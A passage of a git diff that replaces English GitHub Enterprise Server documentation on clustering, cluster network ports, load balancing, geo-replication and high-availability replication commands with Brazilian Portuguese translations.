+intro: 'Com o clustering do {% data variables.product.prodname_ghe_server %}, os serviços que compõem o {% data variables.product.prodname_ghe_server %} podem ser dimensionados em vários nós.'
 redirect_from:
   - /enterprise/admin/clustering/overview
   - /enterprise/admin/clustering/about-clustering
@@ -14,22 +14,23 @@ topics:
   - Clustering
   - Enterprise
 ---
-## Clustering architecture
 
-{% data variables.product.prodname_ghe_server %} is comprised of a set of services. In a cluster, these services run across multiple nodes and requests are load balanced between them. Changes are automatically stored with redundant copies on separate nodes. Most of the services are equal peers with other instances of the same service. The exceptions to this are the `mysql-server` and `redis-server` services. These operate with a single _primary_ node with one or more _replica_ nodes.
+## Arquitetura de clustering
 
-Learn more about [services required for clustering](/enterprise/{{ currentVersion }}/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering).
+O {% data variables.product.prodname_ghe_server %} é formado por um conjunto de serviços. Em um cluster, esses serviços são executados em vários nós e as solicitações são balanceadas por carga entre eles. As alterações são armazenadas automaticamente com cópias redundantes em nós separados. A maioria dos serviços são pares iguais com outras instâncias do mesmo serviço. As exceções são os serviços `mysql-server` e `redis-server`, que operam em um único nó _primário_ com um ou mais nós _réplica_.
 
-## Is clustering right for my organization?
+Saiba mais sobre os [serviços necessários para os agrupamentos](/enterprise/{{ currentVersion }}/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering).
 
-{% data reusables.enterprise_clustering.clustering-scalability %} However, setting up a redundant and scalable cluster can be complex and requires careful planning. This additional complexity will need to be planned for during installation, disaster recovery scenarios, and upgrades.
+## Clustering é a opção ideal para a minha organização?
 
-{% data variables.product.prodname_ghe_server %} requires low latency between nodes and is not intended for redundancy across geographic locations.
+{% data reusables.enterprise_clustering.clustering-scalability %} No entanto, configurar um cluster redundante e dimensionável pode ser uma tarefa complexa e requer planejamento cuidadoso. A complexidade adicional deve ser planejada para a instalação, os cenários de recuperação de desastre e as atualizações.
 
-Clustering provides redundancy, but it is not intended to replace a High Availability configuration. For more information, see [High Availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability). A primary/secondary failover configuration is far simpler than clustering and will serve the needs of many organizations. For more information, see [Differences between Clustering and High Availability](/enterprise/{{ currentVersion }}/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/).
+O {% data variables.product.prodname_ghe_server %} requer baixa latência entre os nós e não foi feito para a redundância entre locais geográficos.
+
+O clustering fornece redundância, mas não foi feito para substituir uma configuração de alta disponibilidade. Para obter mais informações, consulte [Configuração de alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability). A configuração de um failover primário/secundário é muito mais simples do que o clustering e funcionará perfeitamente para várias organizações. Para obter mais informações, consulte [Diferenças entre clustering e alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/).
 
 {% data reusables.package_registry.packages-cluster-support %}
 
-## How do I get access to clustering?
+## Como faço para obter acesso ao clustering?
 
-Clustering is designed for specific scaling situations and is not intended for every organization. If clustering is something you'd like to consider, please contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
+O clustering foi feito para situações específicas de dimensionamento e não se aplica a todas as organizações. Se você está pensando em usar o clustering, converse com seu representante exclusivo ou {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
index 9ae58ffd19..8def521ca6 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: Cluster network configuration
-intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.'
+title: Configuração de rede de cluster
+intro: 'O funcionamento correto do clustering do {% data variables.product.prodname_ghe_server %} depende da resolução adequada de nome DNS, do balanceamento de carga e da comunicação entre os nós.'
 redirect_from:
   - /enterprise/admin/clustering/cluster-network-configuration
   - /enterprise/admin/enterprise-management/cluster-network-configuration
@@ -13,107 +13,108 @@ topics:
   - Enterprise
   - Infrastructure
   - Networking
-shortTitle: Configure a cluster network
+shortTitle: Configurar uma rede de cluster
 ---
-## Network considerations
 
-The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond.
+## Considerações de rede
 
-{% ifversion ghes %}For high availability, the latency between the network with the active nodes and the network with the passive nodes must be less than 70 milliseconds. We don't recommend configuring a firewall between the two networks.{% endif %}
+A composição de rede mais simples para o clustering é deixar os nós em uma única LAN. Se um cluster abranger sub-redes, não recomendamos configurar quaisquer regras de firewall entre as redes. A latência entre os nós deve ser inferior a 1 milissegundo.
 
-### Application ports for end users
+{% ifversion ghes %}Para alta disponibilidade, a latência entre a rede com os nós ativos e a rede com os nós passivos deve ser inferior a 70 milissegundos. Não recomendamos configurar um firewall entre as duas redes.{% endif %}
 
-Application ports provide web application and Git access for end users.
+### Portas de aplicativo para usuários finais
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| 22/TCP    | Git over SSH | Yes |
-| 25/TCP    | SMTP | Requires STARTTLS |
-| 80/TCP    | HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 443/TCP   | HTTPS | Yes |
-| 9418/TCP  | Simple Git protocol port<br>(Disabled in private mode) | No |
+As portas de aplicativo fornecem aplicativos da web e acesso dos usuários finais ao Git.
 
-### Administrative ports
+| Porta    | Descrição                                                                 | Criptografia                                                         |
+|:-------- |:------------------------------------------------------------------------- |:-------------------------------------------------------------------- |
+| 22/TCP   | Git em SSH                                                                | Sim                                                                  |
+| 25/TCP   | SMTP                                                                      | Requer STARTTLS                                                      |
+| 80/TCP   | HTTP                                                                      | Não<br>(com SSL habilitado, essa porta redireciona para HTTPS) |
+| 443/TCP  | HTTPS                                                                     | Sim                                                                  |
+| 9418/TCP | Porta de protocolo simples do Git<br>(desabilitada no modo privado) | Não                                                                  |
 
-Administrative ports are not required for basic application use by end users.
+### Portas administrativas
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| ICMP      | ICMP Ping | No |
-| 122/TCP   | Administrative SSH | Yes |
-| 161/UDP    | SNMP | No |
-| 8080/TCP  | Management Console HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 8443/TCP  | Management Console HTTPS | Yes |
+Não é preciso haver portas administrativas para os usuários finais aproveitarem os recursos básicos do aplicativo.
 
-### Cluster communication ports
+| Porta    | Descrição                         | Criptografia                                                         |
+|:-------- |:--------------------------------- |:-------------------------------------------------------------------- |
+| ICMP     | Ping ICMP                         | Não                                                                  |
+| 122/TCP  | SSH administrativa                | Sim                                                                  |
+| 161/UDP  | SNMP                              | Não                                                                  |
+| 8080/TCP | HTTP de console de gerenciamento  | Não<br>(com SSL habilitado, essa porta redireciona para HTTPS) |
+| 8443/TCP | HTTPS de console de gerenciamento | Sim                                                                  |
 
-If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally.
+### Portas de comunicação de cluster
 
-| Port     | Description     |
-| :------------- | :------------- |
-| 1336/TCP  | Internal API |
-| 3033/TCP  | Internal SVN access |
-| 3037/TCP  | Internal SVN access |
-| 3306/TCP  | MySQL |
-| 4486/TCP  | Governor access |
-| 5115/TCP  | Storage backend |
-| 5208/TCP  | Internal SVN access |
-| 6379/TCP  | Redis |
-| 8001/TCP  | Grafana |
-| 8090/TCP  | Internal GPG access |
-| 8149/TCP  | GitRPC file server access |
-| 8300/TCP | Consul |
-| 8301/TCP | Consul |
-| 8302/TCP | Consul |
-| 9000/TCP  | Git Daemon |
-| 9102/TCP  | Pages file server |
-| 9105/TCP  | LFS server |
-| 9200/TCP  | Elasticsearch |
-| 9203/TCP | Semantic code service |
-| 9300/TCP  | Elasticsearch |
-| 11211/TCP | Memcache |
-| 161/UDP   | SNMP |
-| 8125/UDP  | Statsd |
-| 8301/UDP | Consul |
-| 8302/UDP | Consul |
-| 25827/UDP | Collectd |
+Se houver um firewall no nível da rede entre os nós, essas portas terão que estar acessíveis. A comunicação entre os nós não é criptografada, e essas portas não devem ficar acessíveis externamente.
 
-## Configuring a load balancer
+| Porta     | Descrição                             |
+|:--------- |:------------------------------------- |
+| 1336/TCP  | API interna                           |
+| 3033/TCP  | Acesso SVN interno                    |
+| 3037/TCP  | Acesso SVN interno                    |
+| 3306/TCP  | MySQL                                 |
+| 4486/TCP  | Acesso do controlador                 |
+| 5115/TCP  | Backend de armazenamento              |
+| 5208/TCP  | Acesso SVN interno                    |
+| 6379/TCP  | Redis                                 |
+| 8001/TCP  | Grafana                               |
+| 8090/TCP  | Acesso GPG interno                    |
+| 8149/TCP  | Acesso GitRPC ao servidor de arquivos |
+| 8300/TCP  | Consul                                |
+| 8301/TCP  | Consul                                |
+| 8302/TCP  | Consul                                |
+| 9000/TCP  | Git Daemon                            |
+| 9102/TCP  | Servidor de arquivos do Pages         |
+| 9105/TCP  | Servidor LFS                          |
+| 9200/TCP  | ElasticSearch                         |
+| 9203/TCP  | Serviço de código semântico           |
+| 9300/TCP  | ElasticSearch                         |
+| 11211/TCP | Memcache                              |
+| 161/UDP   | SNMP                                  |
+| 8125/UDP  | Statsd                                |
+| 8301/UDP  | Consul                                |
+| 8302/UDP  | Consul                                |
+| 25827/UDP | Collectd                              |
 
- We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations:
+## Configurar um balanceador de carga
 
- - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests.
- - Sticky sessions shouldn't be enabled.
+ É recomendável usar um balanceador de carga baseado em TCP compatível com o protocolo PROXY para distribuir o tráfego entre os nós. Veja estas configurações de balanceador de carga:
+
+ - Portas TCP (abaixo) devem ser encaminhadas para nós que executem o serviço `web-server`; são os únicos nós que funcionam com solicitações de clientes externos.
+ - Sessões temporárias não devem ser habilitadas.
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Handling client connection information
+## Informações de conexão do cliente
 
-Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required.
+Como as conexões do cliente com o cluster vêm do balanceador de carga, pode ocorrer a perda do endereço IP do cliente. Para captar as informações de conexão do cliente de maneira adequada, é preciso fazer considerações adicionais.
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
 {% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
 
-### Enabling PROXY support on {% data variables.product.prodname_ghe_server %}
+### Habilitar o suporte PROXY no {% data variables.product.prodname_ghe_server %}
 
-We strongly recommend enabling PROXY support for both your instance and the load balancer.
+É altamente recomendável ativar o suporte PROXY para sua instância e o balanceador de carga.
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
- - For your instance, use this command:
+ - Na instância, use este comando:
   ```shell
   $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply
   ```
-  - For the load balancer, use the instructions provided by your vendor.
+  - No balanceador de carga, siga as instruções do seu fornecedor.
 
   {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %}
+### Habilitar o suporte X-Forwarded-For no {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
-To enable the `X-Forwarded-For` header, use this command:
+Para habilitar o cabeçalho `X-Forwarded-For`, use este comando:
 
 ```shell
 $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
@@ -121,12 +122,12 @@ $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-### Configuring Health Checks
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability.
+### Configurar verificações de integridade
+As verificações de integridade permitem que um balanceador de carga pare de enviar tráfego para um nó que não responde em caso de falha na verificação pré-configurada do nó em questão. Em caso de falha em um nó do cluster, as verificações de integridade emparelhadas com nós redundantes fornecerão alta disponibilidade.
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
 
-## DNS Requirements
+## Requisitos de DNS
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/index.md b/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/index.md
index 3738fe80e6..2315af6e9a 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/index.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-clustering/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring clustering
-intro: Learn about clustering and differences with high availability.
+title: Configurar o agrupamento
+intro: Saiba mais sobre clustering e diferenças com alta disponibilidade.
 redirect_from:
   - /enterprise/admin/clustering/setting-up-the-cluster-instances
   - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md
index a83f71caea..f8cb3de72b 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md
@@ -23,7 +23,7 @@ As solicitações do Git e as solicitações específicas do servidor de arquivo
 
 ## Limitações
 
-As solicitações de gravação para a réplica exigem o envio dos dados para o servidor principal e todas as réplicas. Isso significa que o desempenho de todas as gravações é limitado pela réplica mais lenta, embora novas georréplicas possam semear a maioria de seus dados a partir de georréplicas colocalizadas existentes, ao invés das primárias. {% ifversion ghes > 3.2 %}To reduce the latency and bandwidth caused by distributed teams and large CI farms without impacting write throughput, you can configure repository caching instead. Para obter mais informações, consulte "[Sobre o cache do repositório](/admin/enterprise-management/caching-repositories/about-repository-caching)".{% endif %}
+As solicitações de gravação para a réplica exigem o envio dos dados para o servidor principal e todas as réplicas. Isso significa que o desempenho de todas as gravações é limitado pela réplica mais lenta, embora novas georréplicas possam semear a maioria de seus dados a partir de georréplicas colocalizadas existentes, ao invés das primárias. {% ifversion ghes > 3.2 %}Para reduzir a latência e a largura de banda causada por equipes distribuídas e grandes fazendas de CI sem afetar a taxa de transmissão, você pode configurar o cache do repositório. Para obter mais informações, consulte "[Sobre o cache do repositório](/admin/enterprise-management/caching-repositories/about-repository-caching)".{% endif %}
 
 A replicação geográfica não aumentará a capacidade de uma instância do {% data variables.product.prodname_ghe_server %} nem resolverá problemas de desempenho relacionados a CPU ou recursos de memória insuficientes. Se o appliance primário estiver offline, as réplicas ativas não poderão atender a solicitações de leitura ou gravação.
 
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
index 60b1d3bbae..30be61c914 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: About high availability configuration
-intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.'
+title: Sobre a configuração de alta disponibilidade
+intro: 'Na configuração de alta disponibilidade, um appliance do {% data variables.product.prodname_ghe_server %} secundário totalmente redundante é mantido em sincronização com o appliance primário pela replicação de todos os principais armazenamentos de dados.'
 redirect_from:
   - /enterprise/admin/installation/about-high-availability-configuration
   - /enterprise/admin/enterprise-management/about-high-availability-configuration
@@ -12,112 +12,113 @@ topics:
   - Enterprise
   - High availability
   - Infrastructure
-shortTitle: About HA configuration
+shortTitle: Sobre a configuração HA
 ---
-When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance.
 
-{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where the replica appliance runs as a standby with database services running in replication mode but application services stopped.
+Quando você configura alta disponibilidade, há uma configuração automatizada de replicação assíncrona e unidirecional de todos os armazenamentos de dados (repositórios do Git, MySQL, Redis e Elasticsearch) do appliance primário para o appliance réplica.
+
+O {% data variables.product.prodname_ghe_server %} dá suporte a uma configuração ativa/passiva, em que o appliance réplica é executado em espera com os serviços de banco de dados em execução no modo de replicação, mas os serviços de aplicativos são interrompidos.
 
 {% data reusables.enterprise_installation.replica-limit %}
 
-## Targeted failure scenarios
+## Cenários de falha
 
-Use a high availability configuration for protection against:
+Use a configuração de alta disponibilidade para proteção contra:
 
 {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %}
 
-A high availability configuration is not a good solution for:
+A configuração de alta disponibilidade não é uma boa solução para:
 
-  - **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %}
-  - **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."{% endif %}
-  - **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots.
-  - **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica.
+  - **Dimensionamento**. Mesmo que você possa distribuir o tráfego geograficamente usando a replicação geográfica, o desempenho das gravações fica limitado à velocidade e à disponibilidade do appliance primário. Para obter mais informações, consulte "[Sobre a georreplicação](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)".{% ifversion ghes > 3.2 %}
+  - **Carga de CI/CD**. Se você tiver um grande número de clientes de CI que estão geograficamente distantes da sua instância principal, você pode beneficiar-se de configurar um cache de repositório. Para obter mais informações, consulte "[Sobre o cache do repositório](/admin/enterprise-management/caching-repositories/about-repository-caching)".{% endif %}
+  - **Backup do appliance primário**. Uma réplica de alta disponibilidade não substitui os backups externos do seu plano de recuperação de desastres. Algumas formas de violação ou perda de dados podem ser replicadas de imediato do appliance primário para o de réplica. Para garantir a reversão segura a um estado anterior estável, você deve fazer backups regulares com instantâneos de histórico.
+  - **Atualizações sem tempo de inatividade**. Para evitar a perda de dados e situações de split-brain em cenários de promoção controlados, deixe o appliance primário em modo de manutenção e aguarde a conclusão de todas as gravações antes de promover o de réplica.
 
-## Network traffic failover strategies
+## Estratégias de failover no tráfego de rede
 
-During failover, you must separately configure and manage redirecting network traffic from the primary to the replica.
+Durante o failover, você deve configurar e gerenciar separadamente o redirecionamento do tráfego de rede do appliance primário para o de réplica.
 
-### DNS failover
+### Failover DNS
 
-With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes.
+Com o failover DNS, use valores curtos de TTL nos registros DNS que apontam para o appliance primário {% data variables.product.prodname_ghe_server %}. Recomenda-se um TTL entre 60 segundos e cinco minutos.
 
-During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records.
+Durante o failover, você deve deixar o appliance primário no modo de manutenção e redirecionar seus registros DNS para o endereço IP do appliance réplica. O tempo para redirecionar o tráfego do appliance primário para o de réplica dependerá da configuração do TTL e do tempo necessário para atualizar os registros DNS.
 
-If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."
+Se estiver usando replicação geográfica, você deverá configurar o DNS de localização geográfica para direcionar o tráfego à réplica mais próxima. Para obter mais informações, consulte "[Sobre a replicação geográfica](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)".
 
-### Load balancer
+### Balanceador de carga
 
 {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond to user traffic. For more information, see "[Using {% data variables.product.prodname_ghe_server %} with a load balancer](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)."
+Durante o failover, você deve deixar o appliance principal em modo de manutenção. É possível configurar o balanceador de carga para detectar automaticamente quando o de réplica for promovido a primário, ou ele pode exigir uma alteração manual na configuração. Antes que o de réplica responda ao tráfego do usuário, você deve promovê-lo manualmente a primário. Para obter mais informações, consulte "[Usar o {% data variables.product.prodname_ghe_server %} com balanceador de carga](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)".
 
 {% data reusables.enterprise_installation.monitoring-replicas %}
 
-## Utilities for replication management
+## Utilitários para o gerenciamento de replicações
 
-To manage replication on {% data variables.product.prodname_ghe_server %}, use these command line utilities by connecting to the replica appliance using SSH.
+Para gerenciar a replicação no {% data variables.product.prodname_ghe_server %}, use estes utilitários de linha de comando ao se conectar ao appliance réplica usando SSH.
 
 ### ghe-repl-setup
 
-The `ghe-repl-setup` command puts a {% data variables.product.prodname_ghe_server %} appliance in replica standby mode.
+O comando `ghe-repl-setup` deixa o appliance do {% data variables.product.prodname_ghe_server %} em modo de espera de réplica.
 
- - An encrypted WireGuard VPN tunnel is configured for communication between the two appliances.
- - Database services are configured for replication and started.
- - Application services are disabled. Attempts to access the replica appliance over HTTP, Git, or other supported protocols will result in an "appliance in replica mode" maintenance page or error message.
+ - Um túnel VPN WireGuard criptografado é configurado para comunicação entre os dois aparelhos.
+ - Os serviços de banco de dados são configurados para replicação e iniciados.
+ - Os serviços de aplicativos ficam desabilitados. As tentativas de acessar o appliance réplica por HTTP, Git ou outros protocolos com suporte levarão a uma página de manutenção "appliance em modo de réplica" ou a uma mensagem de erro.
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1
-Verifying ssh connectivity with 169.254.1.1 ...
-Connection check succeeded.
-Configuring database replication against primary ...
+Verificando conectividade ssh com 169.254.1.1 ...
+Verificação de conexão com êxito.
+Configurando replicação de banco de em relação ao primário...
 Success: Replica mode is configured against 169.254.1.1.
 To disable replica mode and undo these changes, run `ghe-repl-teardown'.
-Run `ghe-repl-start' to start replicating against the newly configured primary.
+Execute `ghe-repl-start' para começar a replicar em relação ao primário recém-configurado.
 ```
 
 ### ghe-repl-start
 
-The `ghe-repl-start` command turns on active replication of all datastores.
+O comando `ghe-repl-start` habilita a replicação ativa de todos os armazenamentos de dados.
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-start
 Starting MySQL replication ...
-Starting Redis replication ...
-Starting Elasticsearch replication ...
-Starting Pages replication ...
-Starting Git replication ...
-Success: replication is running for all services.
-Use `ghe-repl-status' to monitor replication health and progress.
+Iniciando replicação Redis...
+Iniciando replicação Elasticsearch...
+Iniciando replicação Pages...
+Iniciando replicação Git...
+Sucesso: replicação em execução em todos os serviços.
+Use 'ghe-repl-status' para monitorar a integridade e o andamento da replicação.
 ```
 
 ### ghe-repl-status
 
-The `ghe-repl-status` command returns an `OK`, `WARNING` or `CRITICAL` status for each datastore replication stream. When any of the replication channels are in a `WARNING` state, the command will exit with the code `1`. Similarly, when any of the channels are in a `CRITICAL` state, the command will exit with the code `2`.
+O comando `ghe-repl-status` retorna um status `OK`, `WARNING` ou `CRITICAL` para cada fluxo de replicação de armazenamento de dados. Quando qualquer um dos canais de replicação estiver em estado `WARNING`, o comando sairá com código `1`. Quando qualquer um dos canais de replicação estiver em estado `CRITICAL`, o comando sairá com código  `2`.
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-status
-OK: mysql replication in sync
-OK: redis replication is in sync
-OK: elasticsearch cluster is in sync
-OK: git data is in sync (10 repos, 2 wikis, 5 gists)
-OK: pages data is in sync
+OK: replicação mysql em sincronização
+OK: replicação redis em sincronização
+OK: replicação cluster elasticsearch em sincronização
+OK: dados do git em sincronização (10 repos, 2 wikis, 5 gists)
+OK: dados do pages em sincronização
 ```
 
-The `-v` and `-vv` options give details about each datastore's replication state:
+As opções `-v` e `-vv` mostram detalhes sobre o estado da replicação de cada armazenamento de dados:
 
 ```shell
 $ ghe-repl-status -v
-OK: mysql replication in sync
-  | IO running: Yes, SQL running: Yes, Delay: 0
+OK: replicação mysql em sincronização
+  | IO em execução: Sim, SQL em execução: Sim, atraso: 0
 
-OK: redis replication is in sync
+OK: replicação redis em sincronização
   | master_host:169.254.1.1
   | master_port:6379
   | master_link_status:up
   | master_last_io_seconds_ago:3
   | master_sync_in_progress:0
 
-OK: elasticsearch cluster is in sync
+OK: cluster elasticsearch em sincronização
   | {
   |   "cluster_name" : "github-enterprise",
   |   "status" : "green",
@@ -131,59 +132,59 @@ OK: elasticsearch cluster is in sync
   |   "unassigned_shards" : 0
   | }
 
-OK: git data is in sync (366 repos, 31 wikis, 851 gists)
-  |                   TOTAL         OK      FAULT    PENDING      DELAY
-  | repositories        366        366          0          0        0.0
+OK: dados do git em sincronização (366 repos, 31 wikis, 851 gists)
+  |                   TOTAL         OK      AUSENTE    PENDENTE      ATRASO
+  | repositórios        366        366          0          0        0.0
   |        wikis         31         31          0          0        0.0
   |        gists        851        851          0          0        0.0
   |        total       1248       1248          0          0        0.0
 
-OK: pages data is in sync
-  | Pages are in sync
+OK: dados do pages em sincronização
+  | Pages em sincronização
 ```
 
 ### ghe-repl-stop
 
-The `ghe-repl-stop` command temporarily disables replication for all datastores and stops the replication services. To resume replication, use the [ghe-repl-start](#ghe-repl-start) command.
+O comando `ghe-repl-stop` desativa temporariamente a replicação para todos os armazenamentos de dados e interrompe os serviços de replicação. Para retomar a replicação, use o comando [ghe-repl-start](#ghe-repl-start).
 
 ```shell
 admin@168-254-1-2:~$ ghe-repl-stop
-Stopping Pages replication ...
-Stopping Git replication ...
-Stopping MySQL replication ...
-Stopping Redis replication ...
-Stopping Elasticsearch replication ...
-Success: replication was stopped for all services.
+Parando replicação Pages...
+Parando replicação Git...
+Parando replicação MySQL...
+Parando replicação Redis...
+Parando replicação Elasticsearch...
+Sucesso: replicação parada em todos os serviços.
 ```
 
 ### ghe-repl-promote
 
-The `ghe-repl-promote` command disables replication and converts the replica appliance to a primary. The appliance is configured with the same settings as the original primary and all services are enabled.
+O comando `ghe-repl-promote` desativa a replicação e converte o appliance réplica em appliance primário. O appliance é configurado com as mesmas configurações do primário original, e todos os serviços ficam ativados.
 
 {% data reusables.enterprise_installation.promoting-a-replica %}
 
 ```shell
 admin@168-254-1-2:~$ ghe-repl-promote
-Enabling maintenance mode on the primary to prevent writes ...
-Stopping replication ...
-  | Stopping Pages replication ...
-  | Stopping Git replication ...
-  | Stopping MySQL replication ...
-  | Stopping Redis replication ...
-  | Stopping Elasticsearch replication ...
-  | Success: replication was stopped for all services.
-Switching out of replica mode ...
-  | Success: Replication configuration has been removed.
-  | Run `ghe-repl-setup' to re-enable replica mode.
-Applying configuration and starting services ...
-Success: Replica has been promoted to primary and is now accepting requests.
+Habilitando modo de manutenção em primário para evitar gravações...
+Parando replicação...
+  Parando replicação Pages...
+  | Parando replicação Git...
+  | Parando replicação MySQL...
+  | Parando replicação Redis...
+  | Parando replicação Elasticsearch...
+  | Sucesso: replicação parada em todos os serviços.
+Alternando modo réplica...
+  | Sucesso: configuração de replicação removida.
+  | Execute `ghe-repl-setup' para habilitar novamente o modo réplica.
+Aplicando configuração e iniciando serviços...
+Sucesso: a réplica foi promovida para primária e agora aceita solicitações.
 ```
 
 ### ghe-repl-teardown
 
-The `ghe-repl-teardown` command disables replication mode completely, removing the replica configuration.
+O comando `ghe-repl-teardown` desativa por completo o modo de replicação, removendo a configuração da réplica.
 
-## Further reading
+## Leia mais
 
-- "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)"
-- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)"
\ No newline at end of file
+- [Criar réplica de alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)
+- "[Portas de rede](/admin/configuration/configuring-network-settings/network-ports)"
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
index 31d4dbeb3f..842e99f4b7 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a high availability replica
-intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.'
+title: Criar réplica de alta disponibilidade
+intro: 'Em uma configuração ativa/passiva, o appliance réplica é uma cópia redundante do appliance primário. Em caso de falha no appliance primário, o modo de alta disponibilidade permitirá que a réplica atue como appliance primário, mitigando as interrupções de serviço.'
 redirect_from:
   - /enterprise/admin/installation/creating-a-high-availability-replica
